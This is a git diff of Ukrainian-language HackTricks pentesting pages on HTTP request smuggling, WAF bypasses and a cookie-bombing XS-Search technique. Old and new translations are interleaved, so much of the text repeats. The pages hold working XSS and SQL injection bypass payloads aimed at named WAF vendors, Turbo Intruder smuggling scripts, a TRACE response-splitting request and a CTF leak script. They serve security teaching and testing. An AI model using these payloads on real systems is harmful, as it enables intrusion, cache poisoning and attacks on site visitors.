Оскільки HEAD-відповідь міститиме заголовок `Content-Length`, **відповідь TRACE буде трактуватися як тіло HEAD-відповіді, отже в ній можуть відображатися довільні дані**.\
Ця відповідь буде відправлена наступному запиту по з'єднанню, тому це, наприклад, може бути **використано в кешованому JS-файлі для ін'єкції довільного JS-коду**.
### Зловживання TRACE через розділення HTTP-відповідей <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Продовжуючи слідкувати за [**цим постом**](https://portswigger.net/research/trace-desync-attack), пропонується ще один спосіб зловживання методом TRACE. Як зазначено, шляхом зловживання запитом HEAD і запитом TRACE можливо **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.
Продовженням [**this post**](https://portswigger.net/research/trace-desync-attack) пропонується інший спосіб зловживання методом TRACE. Як зазначалося, при smuggling HEAD і TRACE-запитів можливо **контролювати частину відображених даних** у відповіді на HEAD-запит. Довжина тіла HEAD-запиту фактично вказується у заголовку `Content-Length` і формується відповіддю на TRACE-запит.
Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можливо зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (яка може бути використана для виконання отруєння кешу).
Отже, нова ідея така: знаючи цей `Content-Length` і дані, що повертає TRACE-відповідь, можна зробити так, щоб відповідь TRACE містила валідну HTTP-відповідь після останнього байта, визначеного `Content-Length`, що дозволить атакуючому повністю контролювати запит для наступної відповіді (що може бути використано для cache poisoning).
Приклад:
```
@ -672,7 +674,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Згенерує ці ці responses (зверніть увагу, що відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь прихована):
Згенерує ці відповіді (зверніть увагу, як у відповіді на HEAD є Content-Length, через що відповідь TRACE стає частиною тіла HEAD, а коли Content-Length у HEAD закінчується, валідна HTTP-відповідь переправляється):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -693,9 +695,9 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Озброєння HTTP Request Smuggling за допомогою HTTP Response Desynchronisation
### Застосування HTTP Request Smuggling за допомогою HTTP Response Desynchronisation
Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати. Спробуйте ці інші методи експлуатації:
Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати? Спробуйте ці інші методи експлуатації:
{{#ref}}
@ -704,25 +706,25 @@ Content-Length: 50
### Інші техніки HTTP Request Smuggling
- HTTP Request Smuggling у браузері (Клієнтська сторона)
- Browser HTTP Request Smuggling (Client Side)
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling у зниженнях HTTP/2
- Request Smuggling in HTTP/2 Downgrades
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Скрипти Turbo intruder
## Turbo intruder scripts
### CL.TE
З [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
Джерело [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@ -763,7 +765,7 @@ table.add(req)
```
### TE.CL
Від: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
Джерело: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -807,14 +809,14 @@ table.add(req)
```
## Інструменти
- HTTP Hacker (Burp BApp Store) візуалізація конкатенації/фреймінгу та низькорівневої поведінки HTTP
- HTTP Hacker (Burp BApp Store) візуалізує конкатенацію/фреймінг та низькорівневу поведінку HTTP
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент є граматично-орієнтованим HTTP Fuzzer, корисним для виявлення дивних розбіжностей у запитах на контрабанду.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент — HTTP Fuzzer на основі граматики, корисний для виявлення дивних нестиковок у request smuggling.
## Посилання
@ -827,10 +829,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Будьте обережні з хибнопозитивними результатами: як відрізнити HTTP pipelining від контрабанди запитів [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Остерігайтеся помилки «false falsepositive»: як відрізнити HTTP pipelining від request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Атаки Desync, що використовують браузер [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy десинхронізація на стороні клієнта [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,12 +17,12 @@ location = /admin/ {
deny all;
}
```
Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цей захист.
Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед його перевіркою. Однак, якщо backend-сервер виконує іншу нормалізацію (видаляючи символи, які nginx не видаляє), це може дозволити обійти цей захист.
### **NodeJS - Express**
| Версія Nginx | **Символи обходу Node.js** |
| ------------- | --------------------------- |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
@ -32,7 +32,7 @@ deny all;
### **Flask**
| Версія Nginx | **Символи обходу Flask** |
| ------------- | ------------------------------------------------------------ |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
@ -42,7 +42,7 @@ deny all;
### **Spring Boot**
| Версія Nginx | **Символи обходу Spring Boot** |
| ------------- | ------------------------------- |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx налаштовано на блокування доступу до `/admin.php`, але це можна обійти, отримавши доступ до `/admin.php/index.php`.
Nginx налаштовано так, щоб блокувати доступ до `/admin.php`, але це можна обійти, звернувшись до `/admin.php/index.php`.
### Як запобігти
```plaintext
@ -70,24 +70,24 @@ location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Обхід Mod Security правил <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Path Confusion
### Плутанина шляху
[**У цьому пості**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) пояснюється, що ModSecurity v3 (до 3.0.12) **неправильно реалізував змінну `REQUEST_FILENAME`**, яка повинна була містити доступний шлях (до початку параметрів). Це сталося через те, що він виконував декодування URL, щоб отримати шлях.\
Отже, запит на кшталт `http://example.com/foo%3f';alert(1);foo=` в mod security буде вважати, що шлях - це лише `/foo`, оскільки `%3f` перетворюється на `?`, закінчуючи URL шлях, але насправді шлях, який отримає сервер, буде `/foo%3f';alert(1);foo=`.
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) пояснюється, що ModSecurity v3 (до 3.0.12) **неправильно реалізував змінну `REQUEST_FILENAME`**, яка мала містити доступний шлях (до початку параметрів). Це відбувалося тому, що він виконував URL decode для отримання шляху.\
Тому запит на зразок `http://example.com/foo%3f';alert(1);foo=` у mod security вважатиме, що шлях — лише `/foo`, оскільки `%3f` перетворюється на `?`, що завершує URL-шлях, але фактичний шлях, який отримає сервер, буде `/foo%3f';alert(1);foo=`.
Змінні `REQUEST_BASENAME` та `PATH_INFO` також були під впливом цього багу.
Змінні `REQUEST_BASENAME` та `PATH_INFO` також постраждали від цього багу.
Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними копіями (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`.
Щось подібне сталося у версії 2 Mod Security, що дозволяло обійти захист, який забороняв доступ користувачам до файлів з певними розширеннями, пов'язаними з резервними копіями (наприклад `.bak`), просто відправивши крапку в URL, закодовану як `%2e`, наприклад: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Обхід AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Malformed Header
### Некоректний заголовок
[Це дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно оброблений AWS, але був оброблений сервером на задньому плані.
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливо обійти правила AWS WAF, застосовані до HTTP-заголовків, відправивши «malformed» заголовок, який AWS неправильно парсив, але бекенд-сервер парсив.
Наприклад, надіславши наступний запит з SQL-ін'єкцією в заголовку X-Query:
Наприклад, відправка наступного запиту з SQL injection у заголовку X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -96,51 +96,52 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Було можливим обійти AWS WAF, оскільки він не розумів, що наступний рядок є частиною значення заголовка, тоді як сервер NODEJS це розумів (це було виправлено).
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
## Загальні обходи WAF
## Загальні WAF bypasses
### Обмеження розміру запиту
### Межі розміру запиту
Зазвичай WAF мають певний обмеження на довжину запитів для перевірки, і якщо запит POST/PUT/PATCH перевищує його, WAF не перевірятиме запит.
Зазвичай WAF мають певне обмеження довжини запитів для перевірки, і якщо POST/PUT/PATCH запит перевищує його, WAF не буде перевіряти запит.
- Для AWS WAF ви можете [**перевірити документацію**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту Application Load Balancer та AWS AppSync</td><td>8 KB</td></tr><tr><td>Максимальний розмір тіла веб-запиту, який може бути перевірений для захисту CloudFront, API Gateway, Amazon Cognito, App Runner та Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Максимальний розмір тіла веб-запиту, який може бути проінспектований для Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Максимальний розмір тіла веб-запиту, який може бути проінспектований для CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
- З [**документації Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Старі веб-брандмауери з Core Rule Set 3.1 (або нижче) дозволяють повідомлення, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те ж саме можна зробити, вимкнувши максимальне обмеження на розмір тіла запиту. Коли запит перевищує обмеження розміру:
Старі Web Application Firewalls з Core Rule Set 3.1 (або нижче) дозволяють повідомлення більші за **128 KB** шляхом вимкнення інспекції тіла запиту, але ці повідомлення не перевірятимуться на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те саме можна зробити, вимкнувши максимальне обмеження тіла запиту. Коли запит перевищує ліміт розміру:
Якщо **режим запобігання**: Логує та блокує запит.\
Якщо **режим виявлення**: Перевіряє до межі, ігнорує решту та логує, якщо `Content-Length` перевищує межу.
Якщо p**revention mode**: Логує та блокує запит.\
Якщо **detection mode**: Інспектує до ліміту, ігнорує решту, і логує, якщо `Content-Length` перевищує ліміт.
- З [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
За замовчуванням WAF перевіряє лише перші 8KB запиту. Він може збільшити межу до 128KB, додавши розширену метадані.
За замовчуванням WAF інспектує тільки перші 8KB запиту. Можна збільшити ліміт до 128KB, додавши Advanced Metadata.
- З [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
До 128KB.
### Прогалини в перевірці статичних активів (.js GETs)
### Прогалини інспекції статичних ресурсів (.js GETs)
Деякі стеки CDN/WAF застосовують слабку або жодну перевірку вмісту для GET-запитів на статичні активи (наприклад, шляхи, що закінчуються на `.js`), при цьому все ще застосовуючи глобальні правила, такі як обмеження швидкості та репутація IP. У поєднанні з автоматичним кешуванням статичних розширень це може бути зловживано для доставки або посіву шкідливих варіантів, які впливають на подальші HTML-відповіді.
Деякі CDN/WAF стеки застосовують слабку або відсутню інспекцію контенту для GET запитів до статичних ресурсів (наприклад шляхи, що закінчуються на `.js`), водночас застосовуючи глобальні правила як rate limiting та IP reputation. У поєднанні з автокешуванням статичних розширень це можна зловживати для доставки або підміни шкідливих варіантів, які впливають на подальші HTML відповіді.
Практичні випадки використання:
- Надсилайте корисні навантаження в ненадійних заголовках (наприклад, `User-Agent`) на GET до шляху `.js`, щоб уникнути перевірки вмісту, а потім негайно запитуйте основний HTML, щоб вплинути на кешований варіант.
- Використовуйте нову/чисту IP-адресу; як тільки IP буде позначено, зміни маршрутизації можуть зробити техніку ненадійною.
- У Burp Repeater використовуйте "Send group in parallel" (стиль одного пакета), щоб змагатися з двома запитами (`.js`, а потім HTML) через один і той же фронтальний шлях.
- Надіслати payloads в неперевірених заголовках (наприклад, `User-Agent`) через GET до шляху `.js`, щоб уникнути інспекції контенту, потім негайно запросити головний HTML, щоб вплинути на кешований варіант.
- Використати чистий/свіжий IP; коли IP позначили, зміни маршрутизації можуть зробити техніку ненадійною.
- У Burp Repeater використати "Send group in parallel" (single-packet style), щоб перегнати два запити (`.js` потім HTML) через той самий front-end path в гонці.
Це добре поєднується з отруєнням кешу відображення заголовків. Дивіться:
Це добре поєднується з header-reflection cache poisoning. Дивись:
- {{#ref}}
{{#ref}}
cache-deception/README.md
{{#endref}}
- [Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій на рівні адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Обфускація <a href="#ip-rotation" id="ip-rotation"></a>
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -148,9 +149,9 @@ cache-deception/README.md
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode Совместимість <a href="#unicode-compatability" id="unicode-compatability"></a>
### Сумісність Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
В залежності від реалізації нормалізації Unicode (більше інформації [тут](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), символи, які мають сумісність Unicode, можуть обійти WAF і виконатися як заплановане навантаження. Сумісні символи можна знайти [тут](https://www.compart.com/en/unicode).
Залежно від реалізації нормалізації Unicode (більше інформації [тут](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), символи, що мають сумісність Unicode, можуть обійти WAF і виконатися як очікуваний payload. Сумісні символи можна знайти [тут](https://www.compart.com/en/unicode).
#### Приклад <a href="#example" id="example"></a>
```bash
@ -158,26 +159,26 @@ cache-deception/README.md
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
### Обхід контекстних WAFs за допомогою кодувань <a href="#ip-rotation" id="ip-rotation"></a>
Як згадано в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), щоб обійти WAF, які можуть підтримувати контекст введення користувача, ми можемо зловживати техніками WAF для нормалізації введення користувачів.
Як зазначено в [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), щоб обійти WAFи, які можуть зберігати контекст вводу користувача, можна зловживати техніками WAF, щоб фактично нормалізувати ввід користувача.
Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може бути вважатися допустимим, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**.
Наприклад, у дописі згадується, що **Akamai URL decoded a user input 10 times**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде оброблено Akamai як `<input/>/onfocus`, що **може вважатися безпечним, оскільки тег закритий**. Однак якщо додаток не буде URL decode вводу 10 разів, жертва бачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще придатне для XSS-атаки**.
Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, в той час як жертва цього не побачить.
Отже, це дозволяє **ховати payloadи в закодованих компонентах**, які WAF декодує й інтерпретує, тоді як жертва цього не побачить.
Більше того, це можна зробити не лише з URL закодованими корисними навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...
Більше того, це можна робити не лише з URL-кодуванням, а й з іншими кодуваннями, такими як unicode, hex, octal...
У пості пропонуються наступні фінальні обходи:
У дописі пропонуються такі остаточні bypass-и:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Також згадується, що в залежності від **того, як деякі WAF розуміють контекст** введення користувача, може бути можливим зловживати цим. Пропонований приклад у блозі полягає в тому, що Akamai дозволяє вставляти що завгодно між `/*` і `*/` (можливо, тому що це зазвичай використовується як коментарі). Тому SQL-ін'єкція, така як `/*'or sleep(5)-- -*/`, не буде виявлена і буде дійсною, оскільки `/*` є початковим рядком ін'єкції, а `*/` закоментовано.
Також згадується, що залежно від того, **як деякі WAFи розуміють контекст** вводу, це може бути зловживано. В прикладі з блогу вказано, що Akamai дозволяв(ла) вміщувати будь-що між `/*` і `*/` (ймовірно тому, що це зазвичай використовується як коментар). Тому SQLinjection на кшталт `/*'or sleep(5)-- -*/` не буде помічено і залишиться валідним, оскільки `/*` є стартовим рядком ін’єкції, а `*/` — коментарем.
Ці види проблем з контекстом також можуть бути використані для **зловживання іншими вразливостями, ніж ті, які очікуються для експлуатації WAF** (наприклад, це також може бути використано для експлуатації XSS).
Такі проблеми з контекстом також можна використовувати для **зловживання іншими вразливостями, ніж та, яку очікував блокувати WAF** (наприклад, це також можна використати для експлуатації XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -188,15 +189,15 @@ h2c-smuggling.md
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерація URL API шлюзу для використання з ffuf
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерує URL для API gateway, щоб використовувати з ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Схоже на fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP-адреси API шлюзу
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерних екземплярів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін для Burp Suite, який використовує IP-адреси API gateway
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість екземплярів контейнерів активується залежно від розміру вхідного файлу та split factor; вхідний файл ділиться на чанки для паралельного виконання, наприклад 100 інстансів обробляють 100 чанків з вхідного файлу в 10,000 рядків при split factor = 100 рядків.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістру, додавання переносів рядків та кодування корисних навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Різні техніки можуть бути використані для обходу regex-фільтрів на фаєрволах. Прикладами є чергування регістру, додавання перенесень рядка та кодування payload-ів. Ресурси по різних bypass-ах можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче взяті з [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Інструменти
- [**nowafpls**](https://github.com/assetnote/nowafpls): плагін Burp для додавання непотрібних даних до запитів для обходу WAF за довжиною
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin для додавання сміттєвих даних у запити з метою обходу WAFs за довжиною
## Посилання
@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Як я знайшов 0-Click захоплення облікового запису в публічному BBP і використав це для доступу до функцій рівня адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
Наступний **скрипт**, взятий з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), експлуатує функціональність, яка дозволяє користувачу **вставляти будь-яку кількість куків**, а потім завантажує файл як скрипт, знаючи, що справжня відповідь буде більшою, ніж хибна, і потім. Якщо успішно, відповідь є перенаправленням з URL, що в результаті довший, **занадто великий для обробки сервером, тому повертає код статусу помилки http**. Якщо пошук не вдається, нічого не станеться, оскільки URL короткий.
This technique combines:
- Cookie bombing: набивання браузера жертви великою кількістю/великими cookie для цільового origin, так що наступні запити досягають серверних/запитних лімітів (розмір заголовків запиту, розмір URL в редиректах тощо).
- Error-event oracle: опитування крос-доменного endpoint за допомогою <script> (або іншого субресурсу) і розрізнення станів за допомогою onload vs onerror.
High level idea
- Знайти цільовий endpoint, поведінка якого відрізняється для двох станів, які ви хочете перевірити (наприклад, search “hit” vs “miss”).
- Забезпечити, щоб “hit” шлях викликав важкий ланцюжок редиректів або довгий URL, тоді як “miss” шлях залишався коротким. Роздмухати заголовки запиту за допомогою багатьох cookie так, щоб лише “hit” шлях спричиняв помилку сервера з HTTP статусом (наприклад, 431/414/400). Помилка змінює onerror подію і стає оракулом для XS-Search.
When does this work
- Ви можете змусити браузер жертви відправляти cookie до цільового сайту (наприклад, cookie мають SameSite=None або ви можете встановити їх у first-party контексті через popup window.open).
- Є фіча в застосунку, яку можна зловживати для встановлення довільних cookie (наприклад, endpoints «save preference», що перетворюють керований введенням імена/значення на Set-Cookie) або для створення post-auth редиректів, які включають дані, контрольовані атакуючим, в URL.
- Сервер реагує по-різному в двох станах і, при роздутті заголовків/URL, один стан перевищує ліміт і повертає помилку, яка викликає onerror.
Note on server errors used as the oracle
- 431 Request Header Fields Too Large часто повертається, коли cookie роздувають заголовки запиту; 414 URI Too Long або серверно-специфічний 400 можуть повернутися для довгих цільових запитів. Будь-який з цих випадків призводить до невдалого завантаження субресурсу і спрацьовування onerror. [MDN documents 431 and typical causes like excessive cookies.]()
Practical example (angstromCTF 2022)
Наступний скрипт (з публічного writeup) зловживає фічею, що дозволяє атакуючому вставляти довільні cookie, а потім завантажує крос-доменний search endpoint як скрипт. Коли запит коректний, сервер виконує редирект, який разом із cookie-bloat перевищує серверні ліміти і повертає помилковий статус, тому script.onerror спрацьовує; інакше нічого не відбувається.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
@ -57,4 +74,51 @@ break
}
</script>
```
Навіщо спливаюче вікно (window.open)?
